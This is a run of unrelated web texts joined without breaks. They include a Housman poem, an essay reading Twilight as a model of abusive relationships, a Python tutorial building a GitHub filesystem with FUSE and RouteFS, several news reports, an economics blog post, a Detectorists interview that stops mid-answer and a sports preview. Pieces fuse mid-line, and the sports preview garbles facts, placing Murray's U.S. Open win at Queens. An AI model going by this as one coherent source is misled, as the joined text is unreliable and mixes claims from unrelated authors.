“They’re both really, really smart,” Diamond said of Maa and her sister. “They’re like geniuses.”
Additional reporting by Rebecca Rosenberg and Kyle Murphy
jamie.schram@nypost.comThe time you won your town the race
We chaired you through the market-place;
Man and boy stood cheering by,
And home we brought you shoulder-high.
Today, the road all runners come,
Shoulder-high we bring you home,
And set you at your threshold down,
Townsman of a stiller town.
Smart lad, to slip betimes away
From fields where glory does not stay,
And early though the laurel grows
It withers quicker than the rose.
Eyes the shady night has shut
Cannot see the record cut,
And silence sounds no worse than cheers
After earth has stopped the ears.
Now you will not swell the rout
Of lads that wore their honours out,
Runners whom renown outran
And the name died before the man.
So set, before its echoes fade,
The fleet foot on the sill of shade,
And hold to the low lintel up
The still-defended challenge-cup.
And round that early-laurelled head
Will flock to gaze the strengthless dead,
And find unwithered on its curls
The garland briefer than a girl’s.In the past decade, the popularity of vampire-themed books and movies for young adults has risen dramatically. Although vampires make for some good nail-biting fun in the Halloween season, they also send some unfortunate messages to the young people who love them. In this article, I argue that the popular Twilight series can be used to highlight patterns of behavior that put individuals at risk for abuse in dating relationships. The popularity of the Twilight series shows just how much attention girls are giving to the examples of lovers displayed in Edward and Bella’s world. To them, Edward represents the troubled soul who is waiting to be tamed by just the right woman; it’s the modern Beauty and the Beast.1 Unfortunately, many fans turn a blind eye to the dark side of Bella and Edward’s romance. The course and characteristics of Bella’s relationship with Edward are actually a template for violence and abuse, and Twilight fans may unwittingly model a relationship that may lead to both psychological and physical abuse.
Bella’s character demonstrates three characteristics common in victims of violent relationships. The first and perhaps most obvious trait is her consistent low self-esteem.2 Bella constantly reminds herself that she’s uncoordinated, unsocial, and unattractive. When Edward shows interest in her, Bella’s low self-esteem puts him in a position of power over her; he can treat her however he’d like, because she perceives that he’s out of her league and is lucky to be the dirt on the bottom of his shoe. An example from Twilight is when she notes how good looking he is (and that she is not): “Why did he have to look like a runway model when I couldn’t?”
The second quality Bella displays which is common in women who become victims of abuse is that she is particularly attracted to men who are forbidden.3 Most readers will be familiar with the “Romeo and Juliet” effect: lovers who are not allowed, disapproved of, or are simply unattainable sometimes become even more desirable. Bella is thus drawn to the “bad boy” who is more likely to abuse her.
Third, and most unfortunately, Bella is simply excited by violence, aggression, and danger; she finds it all very thrilling. Bella’s attraction to anything dangerous is clear in many cases through her human life. She rides a motorcycle because it’s dangerous. When Edward tells Bella that he’ll literally kill anyone who tries to hurt her, she’s attracted to his violent nature. And, as anyone on “Team Jacob” will note, she’s only interested in Jacob after she learns that he’s a violent werewolf who might rip off her face. Research shows that when we’re scared, we become more attracted to the people around us.4
Edward also displays many stereotypical characteristics of abusers. First, one of his hallmark characteristics is his control over Bella and his attempts to isolate her from others.5 Abusers often use this tactic as a way of ensuring that their victims have no way to escape should they attempt to do so. After he decides that he wants her, he’s quick to get her alone, and for the rest of the series he constantly shields her from any other interactions, including from her father and friends. Edward consistently forbids her from seeing Jacob (a potential rival). When he has to leave town and thus can’t directly watch Bella, he convinces his sister Alice to kidnaps Bella, who refuses to let her leave the house until Edward can return to watch her every move. Edward even sabotages her car so that she has no avenue of escape. A final example comes in Eclipse, when they discuss their wedding. He tells her, “It doesn’t have to be a big production… We’ll go to Vegas—you can wear old jeans and we’ll go to the chapel with the drive-through window. I just want it to be official – that you belong to me and no one else.”
Next, the use of coercion to accelerate the development of closeness is another common warning sign of abuse.6 If an abuser can get full commitment from his (or her) victim as early as possible, this basically “locks in” the victim and cuts them off from escape. Once Edward and Bella have decided to be together, he spends the first week of their relationship asking her a constant stream of questions. Through this process, Bella experiences a high level of self-disclosure during which she lets him in and reveals several secrets. His desire to know everything about her renders her powerless. They spend every night together in her room, and he tries to follow her in others’ thoughts (using his vampire superpowers) when she’s not present. He proposes to her when he knows she’s not ready and refuses to listen to her reasons for delaying the marriage.
Finally, a classic warning sign of partner volatility is high levels of jealousy or possessiveness.7 When Bella learns that Edward was only in Port Angeles because he followed her there, she was appreciative for being saved from attack, but does seem to notice that it is stalking8 behavior. Her ultimate acceptance encourages and reinforces him. Edward continues to treat Bella in ways that mark him as a jealous, potentially violent predator.
Why is Twilight so popular? Since the Victorian era, vampire legends have been part of pop culture. These legends emphasize forbidden desires, illicit sexual metaphors, and adventure. Unfortunately, they also often include messages that support sexism and the abuse of power. In the case of Bella and Twilight, it’s possible that the millions of screaming fans might be learning how to fall victim to a violent relationship, which might lead to screams for a very different reason.
Read more about research on abusive relationships here:
Interested in learning more about relationships? Click here for other topics on Science of Relationships. Like us on Facebook to get our articles delivered directly to your NewsFeed.
1Tracy, J. L., & Beall, A. (2011). Happy guys finish last: The impact of emotional expressions on sexual attraction. Emotion. doi: 10.1037/a0022902
2Eckstein, J. (2011). Reasons for staying in intimately violent relationships: Comparisons of men and women and messages communicated to self and others. Journal of Family Violence, 26, 21-30. doi: 10.1007/s10896-010-9338-0
3Rosen, K. (1996). The ties that bind women to violent premarital relationships: Processes of seduction and entrapment. Thousand Oaks, CA: Sage.
4Dutton, D. G., & Aron, A. P. (1974). Some evidence for heightened sexual attraction under conditions of high anxiety. Journal of Personality and Social Psychology, 30, 510–517.
5Dutton, D. G. (1995). Trauma symptoms and PTSD-like profiles in perpetrators of intimate abuse. Journal of Traumatic Stress, 8, 299-316.
6Dutton, M. A., & Goodman, L. A. (2005). Coercion in intimate partner violence: Toward a new conceptualization. Sex Roles, 52, 743-756.
7Weisz, A. N., Tolman, R. M., & Saunders, D. G. (2000). Assessing the risk of severe domestic violence: The importance of survivors’ predictions. Journal of Interpersonal Violence, 15, 75-90.
8Kropp, P. R. (2005, August). Risk assessment and risk management of domestic violence offenders. Paper presented at the meeting of the Department of Defense Domestic Violence Intervention/Treatment Protocol, Alexandria, VA.FUSE is awesome. While most major Linux filesystems (ext3, XFS, ReiserFS, btrfs) are built-in to the Linux kernel, FUSE is a library that lets you instead write filesystems as userspace applications. When something attempts to access the filesystem, those accesses get passed on to the FUSE application, which can then return the filesystem data.
It lets you quickly prototype and test filesystems that can run on multiple platforms without writing kernel code. You can easily experiment with strange and unusual interactions between the filesystem and your applications. You can even build filesystems without writing a line of C code.
FUSE has a reputation of being used only for toy filesystems (when are you actually going to use flickrfs?), but that's really not fair. FUSE is currently the best way to read NTFS partitions on Linux, how non-GNOME and legacy applications can access files over SFTP, SMB, and other protocols, and the only way to run ZFS on Linux.
But because the FUSE API calls separate functions for each system call (i.e. getattr, open, read, etc.), in order to write a useful filesystem you need boilerplate code to translate requests for a particular path into a logical object in your filesystem, and you need to do this in every FUSE API function you implement.
Take a page from web apps
This is the kind of problem that web development frameworks have also had to solve, since it's been a long time since a URL always mapped directly onto a file on the web server. And while there are a handful of approaches for handling URL dispatch, I've always been a fan of the URL dispatch style popularized by routing in Ruby on Rails, which was later ported to Python as the Routes library.
Routes dissociates an application's URL structure from your application's internal organization, so that you can connect arbitrary URLs to arbitrary controllers. However, a more common use of Routes involves embedding variables in the Routes configuration, so that you can support a complex and potentially arbitrary set of URLs with a comparatively simple configuration block. For instance, here is the (slightly simplified) Routes configuration from a Pylons web application:
from routes import Mapper def make_map():map = Mapper()map.minimization = False # The ErrorController route (handles 404/500 error pages); # it should# likely stay at the top, ensuring it can always be resolved map.connect('error/{action}/{id}', controller='error') map.connect('/', controller='status', action='index') map.connect('/{controller}', action='index') map.connect('/{controller}/{action}') map.connect('/{controller}/{action}/{id}') return map
In this example, {controller}, {action}, and {id} are variables which can match any string within that component. So, for instance, if someone were to access /spend/new within the web application, Routes would find a controller named spend, and would call the new action on that method.
RouteFS: URL routing for filesystems
Just as URLs take their inspiration from the filesystem, we can use the ideas from URL routing in our filesystem. And to make this easy, I created a project called RouteFS. RouteFS ties together FUSE and Routes, and it's great because it lets you specify your filesystem in terms of the filesystem hierarchy instead of in terms of the system calls to access it.
RouteFS was originally developed as a generalized solution to a real problem I faced while working on the Invirt project at MIT. We wanted a series of filesystem entries that were automatically updated when our database changed (specifically, we were using.k5login files to control access to a server), so we used RouteFS to build a filesystem where every filesystem lookup was resolved by a database query, ensuring that our filesystem always stayed up to date.
Today, however, we're going to be using RouteFS to build the very thing I lampooned FUSE for: toy filesystems. I'll be demonstrating how to build a simple filesystem in less than 60 lines of code. I want to continue the popular theme of exposing Web 2.0 services as filesystems, but I'm also a software engineer at a very Git- and Linux-heavy company. The popular Git repository hosting site Github has an API for interacting with the repositories hosted there, so we'll use the Python bindings for the API to build a Github filesystem, or GithubFS. GithubFS lets you examine the Git repositories on Github, as well as the different branches of those repositories.
Getting started
If you want to follow along, you'll first need to install FUSE itself, along with the Python FUSE bindings - look for a python-fuse or fuse-python package. You'll also need a few third-party Python packages: Routes, RouteFS, and github2. Routes and RouteFS are available from the Python Cheeseshop, so you can install those by running easy_install Routes RouteFS. For github2, you'll need the bleeding edge version, which you can get by running easy_install http://github.com/ask/python-github2/tarball/master
Now then, let's start off with the basic shell of a RouteFS filesystem:
#!/usr/bin/python import routes import routefs class GithubFS(routefs.RouteFS): def make_map(self): m = routes.Mapper() return m if __name__ == '__main__': routefs.main(GithubFS)
As with the web application code above, the make_map method of the GithubFS class creates, configures, and returns a Python Routes mapper, which RouteFS uses for dispatching accesses to the filesystem. The routefs.main function takes a RouteFS class and handles instantiating the class and mounting the filesystem.
Populating the filesystem
Now that we have a filesystem, let's put some files in it:
#!/usr/bin/python import routes import routefs class GithubFS(routefs.RouteFS): def __init__(self, *args, **kwargs): super(GithubFS, self).__init__(*args, **kwargs) # Maps user -> [projects] self.user_cache = {} def make_map(self): m = routes.Mapper() m.connect('/', controller='list_users') return m def list_users(self, **kwargs): return [user for user, projects in self.user_cache.iteritems() if projects] if __name__ == '__main__': routefs.main(GithubFS)
Here, we add our first Routes mapping, connecting /, or the root of the filesystem, to the list_users controller, which is just a method on the filesystem's class. The list_users controller returns a list of strings. When the controller that a path maps to returns a list, RouteFS automatically makes that path into a directory. To make a path be a file, you just return a single string containing the file's contents.
We'll use the user_cache attribute to keep track of the users that we've seen and their repositories. This will let us auto-populate the root of the filesystem as users get looked up.
Let's add some code to populate that cache:
#!/usr/bin/python from github2 import client import routes import routefs class GithubFS(routefs.RouteFS): def __init__(self, *args, **kwargs): super(GithubFS, self).__init__(*args, **kwargs) # Maps user -> [projects] self.user_cache = {} self.github = client.Github() def make_map(self): m = routes.Mapper() m.connect('/', controller='list_users') m.connect('/{user}', controller='list_repos') return m def list_users(self, **kwargs): return [user for user, projects in self.user_cache.iteritems() if projects] def list_repos(self, user, **kwargs): if user not in self.user_cache: try: self.user_cache[user] = [r.name for r in self.github.repos.list(user)] except: self.user_cache[user] = None return self.user_cache[user] if __name__ == '__main__': routefs.main(GithubFS)
That's enough code that we can start interacting with the filesystem:
opus:~ broder $./githubfs /mnt/githubfs opus:~ broder $ ls /mnt/githubfs opus:~ broder $ ls /mnt/githubfs/ebroder anygit githubfs pyhesiodfs python-simplestar auto-aklog ibtsocs python-github2 python-zephyr bluechips libhesiod python-hesiod debmarshal ponyexpress python-moira debothena pyafs python-routefs opus:~ broder $ ls /mnt/githubfs ebroder
Users and projects and branches, oh my!
You can see a slightly more fleshed-out filesystem on (where else?) Github. GithubFS lets you look at the current SHA-1 for each branch in each repository for a user:
opus:~ broder $./githubfs /mnt/githubfs opus:~ broder $ ls /mnt/githubfs/ebroder anygit githubfs pyhesiodfs python-simplestar auto-aklog ibtsocs python-github2 python-zephyr bluechips libhesiod python-hesiod debmarshal ponyexpress python-moira debothena pyafs python-routefs opus:~ broder $ ls /mnt/githubfs/ebroder/githubfs master opus:~ broder $ cat /mnt/githubfs/ebroder/githubfs/master cb4fc93ba381842fa0c2b34363d52475c4109852
What next?
Want to see more examples of RouteFS? RouteFS itself includes some example filesystems, and you can see how we used RouteFS within the Invirt project. But most importantly, because RouteFS is open source, you can incorporate it into your own projects.
So, what cool tricks can you think of for dynamically generated filesystems?
~broderIn a draft assessment of the proposed Keystone XL pipeline, consultants for the U.S. State Department judged that building it would have no significant impact on greenhouse gas emissions. Why? Because the analysts assumed the tar sands oil would find a way out with or without the new pipeline.
The U.S. Environmental Protection Agency does not agree. Keystone XL's ability to carry an additional 830,000 barrels of tar sands oil per day is vital to expanded production of the tarry crude in Alberta. The EPA contends that the analysis by State got the economics all wrong. In particular the consultants were too optimistic about the ease with which the oil could be moved by railroad--an alternative already in use. But such tar sands oil transportation alternatives can more than triple the cost of moving crude. State's report also neglected to consider the potential for congestion on the railroads with an uptick in oil transport, EPA contends. Of course, from a greenhouse gas perspective, transport by pipeline results in fewer emissions than transport by rail, truck or barge.
The bottom line, from a climate perspective: "oil sands crude is significantly more [greenhouse gas] intensive than other crudes, and therefore has potentially large impacts," wrote EPA's Cynthia Giles about the State Department's attempts to assess the full implications of Keystone. "Lifecycle emissions from oil sands crude could be 81 percent greater than the average crude refined in the U.S.," a difference that can grow "depending on the assumptions made."
The EPA also cited its experience from cleaning up after the spill of tar sands oil from a pipeline near the Kalamazoo River in Michigan. This pipeline, smaller than Keystone XL, managed to spill some 20,000 barrels in 2010, much of which ended up at the bottom of the river. Despite three years of clean up effort, the river will have to be dredged because the oil sands crude "will not appreciably biodegrade," Giles wrote. In other words, the kind of microbes that chewed up the oil from BP's blown out Macondo well in the Gulf of Mexico could find no purchase on diluted bitumen from Alberta. Such heavy oil results in the tarballs ubiquitous along the Gulf Coast and, apparently, a layer of tar at the bottom of the Kalamazoo River. All of that experience suggests that would-be pipeline operator TransCanada should be required to prepare for such submerged oil in the event of a leak from Keystone XL as well as having equipment in place to deal with a spill before it happens, the EPA suggests.
That's a particular concern because, despite a re-routing around ecologically sensitive regions in Nebraska, the Keystone XL pipeline would still cross over the nation's largest freshwater aquifer: the Ogallala.
All of that leads the agency to object to the State Department's analysis on the grounds of "insufficient information" and "significant" environmental objections. What impact, if any, that has on the approval or disapproval of the pipeline by the Obama administration remains to be seen but the impact of Keystone XL on climate change is clear.
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© 2013 ScientificAmerican.com. All rights reserved.On March 23, 1862, U.S. forces under Brig. Gen. John G. Parke began the siege of Confederate-held Fort Macon. At the time the fort was commanded by Col. Moses J. White of Mississippi, and was defended by 54 pieces of artillery and a garrison of five companies.
In January 1862, a Federal force under Maj. Gen. Ambrose Burnside arrived off the North Carolina coast. After taking Roanoke Island in February and New Bern in March, Burnside’s next objective was Fort Macon. After White refused to surrender on Parke’s arrival, Parke laid siege to the fort with the support of the Union’s blockading squadron.
In mid-April Burnside arrived with reinforcements to take direct command of the siege. On April 25 the fort was bombarded from both land and sea. Although cannon blasts from Union ships did little damage because of the fort’s strong seaward defenses, the land bombardment did major damage. White surrendered the next day.
The fall of Fort Macon gave the Federals access to the sea via Beaufort and Morehead City, strengthening their control over much of eastern North Carolina.
The fort was constructed by the federal government from 1826 to 1834 to guard Beaufort Harbor, and was seized by North Carolina militia only two days shots were fired on Fort Sumter.
Visit: Fort Macon is now one 39 state parks. The park will commemorate its battle anniversary in April.
Other related resources:
For more about North Carolina’s history, arts, nature and culture, visit DNCR online. To receive these updates automatically each day, make sure you subscribe by email using the box on the right, and follow us on Facebook and Twitter..There's no Plan B for a state-corporate form of central-planning capitalism that is no longer functioning.
If there is one reality that is denied or obscured by the Status Quo, it is that the economy no longer works as it did in the past. This is the fundamental economic context of our current slide into political-social disintegration.
The Status Quo narrative is: the policies that worked for the past 70 years are still working today. Boiled down to its Keynesian state-corporate essence, the Status Quo economic narrative is simple:
All we need to do to escape a "soft patch" (recession) is for governments to borrow and spend more money to temporarily boost incomes and demand until the private sector gets back on its feet and starts borrowing and spending more.
To help the private sector, central banks lower interest rates so it's cheaper to borrow and spend.
As soon as the private-sector borrowing and spending rises, we can raise interest rates and trim state fiscal stimulus (i.e. governments borrowing and spending trillions more than they did before the recession).
But the inconvenient reality is these Keynesian policies no longer work. Fiscal stimulus (governments borrowing and spending trillions more than they did before the recession) has continued for a decade--or in Japan's case, almost three decades.
The Keynesian gods have failed, but the worshippers of these false idols have no other form of black magic to turn to.
Why is fiscal stimulus now a permanent policy? The answer is uncomfortable: if fiscal stimulus is withdrawn (or even trimmed), the economy immediately goes into a self-reinforcing contraction.
As for near-zero interest rates: after 10 years of supposed "recovery," central banks are terrified of pushing rates higher by quarter-point baby-steps, for the same reason that fiscal stimulus cannot be withdrawn: raising interest rates to historic norms would immediately send the economy into contraction.
So "emergency" temporary measures are now permanent life-support, lest the comatose patient expire once life support is removed. If unprecedented "emergency" measures are now permanent props required to keep stagnation from imploding into depression, then what policies are left to deal with the next (inevitable) downturn?
The problem with zero-interest rate policy (ZIRP) and fiscal stimulus is neither are remotely connected to real wealth creation, i.e. increased productivity.Printing /borrowing more money into existence does not create wealth; all the new money only increases future claims on existing productive assets.
Real wealth is generated by increasing the output of goods and services with fewer assets, less energy and less labor.
Corporations have foregone investment in favor of stock buy-backs. Much of the borrowed money has gone into unproductive housing and other asset bubbles.
As Gail Tverberg has explained, there is a collar on oil prices: if they're too low, producers lose money and shut down higher-cost wells, crimping supply; if they're too high, low and moderate-income households can no longer support the consumption the economy needs to keep expanding: Why We Should Be Concerned About Low Oil Prices (Our Finite World).
Cheap, abundant energy is required for expansion of borrowing, consumption and payrolls; as energy costs notch up, wages and consumption stagnate.
In effect, the conventional state/central bank policies reduce down to one simple directive: borrow from the future until "organic" (i.e. not dependent on state stimulus, self-sustaining) growth of the private sector returns.
But since productivity and average wages have declined, self-sustaining expansion is no longer the norm. Instead, every sector is borrowing from the future just to maintain the illusion of solvency and expansion. Corporations, states, central banks and households are all living off money borrowed from future earnings and taxes, or spending the gains from unsustainable asset bubbles.
The economy no longer works, and the Status Quo has no Plan B. All the Status Quo has is policies that no longer work: lowering interest rates (10 years and counting), fiscal stimulus (10 years and counting) and monetary easing/stimulus (10 years and counting).
We sense the economy is no longer working as it did in the past, but we're too terrified to even admit this. Since there's no conventional fix, our "leadership" acts as if everything is just fine, and authorities "adjust" measures of stagnation to appear healthy to support the illusion of solvency and expansion.
Productivity: stagnating, declining:
Personal income: stagnating, declining:
Federal debt (borrow and spend from future taxpayers)--through the roof:
Private-sector bank credit--through the roof:
Wealth inequality--through the roof:
There's no Plan B for a state-corporate form of central-planning capitalism that is no longer functioning. The only policies available are the "emergency" ones that are now permanent life-support systems of our failed global economies.
If you found value in this content, please join me in seeking solutions by becoming a $1/month patron of my work via patreon.com. The only policies available are the "emergency" ones that are now permanent life-support systems of our failed global economies.
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With Series 3 of Detectorists coming to an end, we talk to creator and star Mackenzie Crook about the show. Will there be a Series 4? And what's going on with the gold he found in real life?
Hi Mackenzie. We're huge fans of Detectorists here at BCG, and know there's loads of love for the show out there. Do you get people coming up to you in the street to tell you how much they enjoy the programme?
Yeah. It's an odd reaction. I mean, I've been recognised from The Office and Pirates Of The Caribbean for coming up for nearly 20 years now, but it's a different type of reaction for Detectorists.
I get people coming up that I get the feeling would never normally come up to someone that they recognise in the street. But it's quite an emotional response from them, thanking me for Detectorists. It's really lovely. It's really quite moving.
Do you interact much with the detecting community? We've read articles in which enthusiasts say they're really pleased the show hasn't sneered at their hobby.
To be honest, I've left them alone a little bit. I haven't ever joined a club, and I didn't really meet any real life detectorists throughout the whole of making of the series. But, when we finished the third series, I did go out with a couple of guys and spoke to them, and, yeah, it was good to hear that they appreciate what I did and that we did it quite accurately.
We've learnt via your show that we should call people 'detectorists' rather than'metal detectors'! We're surprised to learn though that you weren't a detectorist before writing the show, so how did the idea come about?
Yeah, I'd always been interested by it as a kid. It was just this magical thing where people found treasure.
There was an episode of Time Team a few years back where I saw a couple of these guys and they just struck me as very eccentric characters. It struck me immediately, what a lonely, meditative hobby it was, and I just thought it would be interesting to explore. To, yeah, sink into the idea of this couple of middle-aged guys in their obsessive hobby.
So at what point did you get into detecting yourself?
Well, early on, I bought a cheap metal detector, and I had some woodland in Essex, and I went up there, and honestly I unpacked the detector out of the box, read the instruction manual, turned it on, and within five minutes I got a signal and dug up a Victorian sixpence. It was as if somebody had planted it there for me, to get me interested in the hobby.
But, you know, after that I found a lot of shotgun caps and a lot drinks cans and a lot of rubbish for a long time, but I sort of learned that it's a skill, and I've got better at it over time, and now it has become an interest, and something of a passion.
How often do you go out? Once a month?
No, no, very rarely in fact. Probably four times a year I manage to get out, so it's precious time when I do. It takes up the whole day. You can't just nip out for an hour or two if you've got an afternoon spare.
Your show does a great job of getting across what a relaxing hobby it is. Was your intention always to do something slow-paced?
Yeah, it was a very deliberate attempt to try and do something sort of uncynical that didn't rely on cruelty of any humour of embarrassment, which is pretty prevalent these days... which I enjoy, it wasn't a reaction against those comedies necessarily, but just to see if it could be done sort of the old-fashioned way.
I was always a massive fan of [writers] Esmonde & Larbey and The Good Life, and Ever Decreasing Circles... yeah, those are sort of uncynical comedies, where you actually like the characters and want to be friends with them yourself.
Can we talk about Toby Jones for a moment? He's so brilliant as Lance. At what point of the development process was he cast?
He came on board really early on, and he formed who the character of Lance was. In the first draft of a pilot episode Lance was a much more mercenary character. But Toby came on board and it became obvious that Lance was a much wiser and more likeable character. He wasn't the knob that I'd written. So, yeah, Toby definitely informed the character.
Presumably you got to know him quite well, having spent a lot of time with him on location?
Absolutely, yes. I mean we'd known each other for a long while just to say 'hello' to, but we've become firm friends. I think I'm quite similar to the character of Andy; I think I've written just an exaggerated, more pathetic version of myself... but Toby's nothing like Lance! So it isn't a Lance-Andy friendship. It's a different friendship, but just as strong.
Everyone we've spoken to says the Detectorists film set was really friendly and lovely place. It must have been sad when filming wrapped on the series?
It was sad. Yeah, I've heard directors and such like say before in interviews about how finishing a job feels like saying goodbye to friends, and I've never really bought that, but I really did feel like that at the end of this series. It was a strange feeling. I've enjoyed sitting and talking rubbish with Lance for the past four years.
You're speaking there like Series 3 is going to be the last series? You've signalled in previous interviews too that this is probably the end of Detectorists |
Finals MVP, which knocked the monkey whispering "You can't win the big one" off his back. Besides, Dwyane Wade is looking ageless again. Ray Allen usually wakes up around payoff time. There's no one in the East to stop them; not woeful-looking Boston, not even the Knicks with Amar'e Stoudemire back. The Thunder should put up a better fight. But it'll be two straight for the king.
Tennis has a transition
Call it a changing of the guard. Roger Federer, 31, cut his schedule for 2013 because he's now at that point in his career where winning majors are all that matters. Rafael Nadal hasn't played since an injury at Wimbledon, missing the Olympics and US Open. Young stars like Novak Djokovic and Andy Murray, both 25, are hungry to rule. The result is a blissful parity in the top ranks. That's why we are picking a different player to win each major. Federer, fresh early in the season, will win the Australian Open. Nadal will win at Roland-Garros and flame-out everywhere else. Currently ranked third in the world, Andy Murray will win at Wimbeldon. Because it's only right. In 2012, he got all the way to the finals but lost to Federer. A few weeks later at the Olympics, Murray won gold on those same grass courts. Then he went to Queens and beat Djokovic to win the U.S. Open, becoming the British man to win a Grand Slam singles title since before World War II. If he could win it all at Centre Court this year, in front of the Royal box, it would be bigger news than the birth of a heir to the British throne. Which, incidentally, might also come about the same time.
Dodger blue wins with cash greenKFC is tapping virtual reality to improve its employees’ chicken frying skills.
The fast food chain said Thursday that it’s debuting an employee-training program in which chefs learn to cook a batch of the company’s signature fried chicken inside a virtual kitchen.
The training program was designed to resemble a game in which participants complete the five steps required to make fried chicken in a style to KFC’s liking. This includes inspecting, rinsing, breading, racking, and then pressure frying virtual chickens.
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KFC said that it takes about 25 minutes for employees to fry chicken, but the virtual reality program only takes 10 minutes to complete. A KFC spokesperson said in an email that, “The VR isn’t meant to speed up the process, it is to teach cooks how to make the world-famous Original Recipe fried chicken.”
The game was developed by the technology group of ad agency Wieden+Kennedy and is intended to be played on the Facebook-owned (fb) Oculus Rift virtual reality headset.
It’s unclear just how big of a roll out KFC is planning for its VR training game, which could be a marketing stunt to generate publicity for KFC, considering that an advertising firm built the VR program. Food site Eater noted that KFC has recently tried other publicity stunts including a takeout box that also charges phones and a bucket for holding chicken that also functions as a Bluetooth photo printer.
A KFC spokesperson told Eater, “The game is intended to supplement the existing Chicken Mastery program, not replace it.”
“This is intended to be a fun way to celebrate the work KFC’s more than 19,000 cooks do every day in every restaurant across the U.S. in an engaging way,” the spokesperson said.
1. Story updated on Thursday 3:50 PM PST to correct how the VR tech is being used.
2. Story updated on Friday 12:30 PM PST for more information on the program.
A KFC spokesperson told Fortune in an email that the VR tech would be “traveling to KFC’s regional general manager training classes, quarterly franchise meetings, and employee onboarding.” The fast food chain is currently using five Oculus Rift headsets, the spokesperson said.Buy Photo Clare Bowen and Sam Palladio, Nashville cast members, at the Opry at the Ryman on Nov. 17, 2012. (Photo: The Tennessean)Buy Photo
From “If I Didn’t Know Better” to “It Ain’t Yours to Throw Away,” Clare Bowen and Sam Palladio’s original duets on ABC’s “Nashville” have made them arguably the show’s most popular singers. Soon, their fans will get to see them team up on a familiar non-country tune.
The duo known to “Nashville” fans as “Gunnar and Scarlett” recently filmed a performance of “Beauty and the Beast” from the Disney animated film and Broadway musical. It will be featured on the TV special “Backstage with Disney on Broadway: Celebrating 20 Years,” airing December 14 on ABC.
The special marks the 20th anniversary of Disney’s first stage production and celebrates its eight Broadway musicals, including “Beauty and the Beast,” “The Lion King” and “Aladdin.”
Disney and Music City also recently crossed paths for another TV special: Jennifer Nettles joined “Frozen” star Idina Menzel on “Let It Go” for this year’s “CMA Country Christmas,” which airs Monday at 7 p.m. CT on ABC.
Palladio and Bowen’s performance might help tide “Nashville” fans over as the show has just two more new episodes left in 2014. It will air its “winter finale” on December 10, and is slated to return early next year.
–Dave Paulson, dnpaulson@tennessean.com
Read or Share this story: http://tnne.ws/1rFVRmbThe McCain/Obama chat Saturday at Saddleback Church in Lake Forest is turning out to be a major national affair. CNN, Fox News and MSNBC plan to cover it live. The church’s pastor, Rick Warren, was making the rounds Friday explaining how the event would be formated. According to City News Service:
Warren will separately question McCain and Obama for about an hour. A coin toss determined that Obama, the presumptive Democratic presidential nominee, will answer questions first. Warren will then ask McCain, the presumptive Republican presidential nominee, the same questions. McCain will not be able to hear Obama’s responses, Warren told the Fox News Channel. “The primaries proved that Americans care deeply about the faith, values, character and leadership convictions of candidates as much as they do about the issues,” said Warren, author of the best-selling devotional book “The Purpose Driven Life.” “I will be raising questions... beyond what political reporters typically ask. This includes pressing issues that are bridging divides in our nation, such as poverty, HIV/AIDS, climate and human rights.” The questioning will be divided into four segments, Warren said. The initial segment will be on stewardship, with questions on the roles of government, the president and Constitution and “what they believe about the direction of our government,” Warren said.
Photo: Sen. Barack Obama with Pastor Rick Warren, center, and Sen. Sam Brownback of Kansas, right, at a 2006 event at Saddleback Church. Credit: Allen J. Schaben/Los Angeles TimesMr Lewis was voted out as chairman back in April
Bank of America's beleaguered chief executive Kenneth Lewis is to retire at the end of the year.
The announcement comes after Mr Lewis has faced continuing criticism over his running of the firm, particularly last year's decision to buy Merrill Lynch.
This $50bn (£31bn) deal depleted Bank of America's cash reserves, and it subsequently needed a government bail-out as the financial crisis worsened.
Shareholder had already ousted Mr Lewis, 62, as chairman in April.
Analysts said at the time that Mr Lewis would not be able to continue much longer in the chief executive position.
'Overly targeted'
Mr Lewis had led the company since 2001.
"It's a good thing for the company to make a clean break and move forward," said analyst Walter Todd of Greenwood Capital.
"Ken Lewis has been overly targeted in terms of how things played out. But the fact is, perception is reality in these situations, and the perception is, everything that happened with the Merrill transaction was his fault."
Bank of America, which has needed $45bn of state support, said it was looking at potential successors.
Mr Lewis has also been criticised over Bank of America's decision to authorise $5.8bn (£3.4bn) of 2008 bonuses to senior Merrill employees, despite the investment bank making a loss of $27.6bn last year.
The US financial regulator, the Securities & Exchange Commission (SEC), said earlier this month that it will sue Bank of America over charges that it misled investors over the bonuses.
Bank of America said it would "vigorously defend" itself in court.The ghost pepper is one of the world's hottest peppers, with a Scoville rating of more than a million. So it might follow that you shouldn't ingest it in more than tiny quantities.
And yet, the Journal of Emergency Medicine reports on the unusual case of a man who tore a hole in his esophagus after eating an incredibly hot ghost pepper.
The 47-year-old American ate a burger topped with a "ghost pepper puree" as part of an eating contest. YouTube is rife with video of people eating these things, so you can probably guess how this one went: The man started vomiting, profusely.
He threw up so much, in fact, that he caused a tear to form in his esophagus—a rare condition known as Boerhaave syndrome. The condition has a high mortality rate, notes stuff.co.nz.
When his pain continued to get worse, the man called emergency responders. Eagle-eyed doctors were able to diagnose the tear, and the man's life was saved with emergency surgery.
He spent 23 days in the hospital recovering from the incident—the costs of which which we can safely assume far outweighed whatever the prize was in the eating contest.
While this particular case had a terrifying complication, the authors of the study note that normally, ghost peppers cause "no significant adverse effects." (If you don't overdo it, chili peppers might actually lengthen your life.)
This article originally appeared on Newser: Ghost Pepper Puts Hole in Man's EsophagusA certified nursing assistant from Providence St. Vincent Medical Center has been charged with raping an elderly patient, and investigators believe there could be at least one other victim, according to the Washington County Sheriff's Office.
Adeladilew A. Mekonen, 34, of Portland, is charged with first-degree rape and first-degree unlawful sexual penetration. He was arrested Wednesday and is being held in the Washington County Jail with bail set at $250,000.
The sheriff's office first received a complaint about Mekonen from a 94-year-old woman in June but couldn't substantiate it at the time, said Sgt. Bob Ray, a sheriff's office spokesman. Hospital staff had placed Mekonen on administrative leave after learning of the allegations, Ray said, but he was allowed to return to work after they couldn't be proved.
Last week, an 87-year-old woman came forward with new accusations against Mekonen, Ray said, and the hospital again placed him on leave. Mekonen is charged in that case.
The 87-year-old woman was receiving treatment at St. Vincent for a heart condition, said Greg Kafoury, a Portland attorney representing her.
"Other victims should now feel free to emerge from the shadows," Kafoury said in a statement to The Oregonian/OregonLive.
Ray said Mekonen could face charges tied to the June report after prosecutors review it. He also said that investigators worry there could be additional victims. Mekonen had been working at the hospital since May.
Ray said Mekonen worked as a caregiver for the women, tending to their hygiene.
According to state records, Mekonen was licensed as a certified nursing assistant in February 2015 and has no history of discipline. He graduated from the Caregiver Training Institute in October last year, according to records.
Mekonen was terminated Wednesday following his arrest, said Gary Walker, a Providence spokesman.
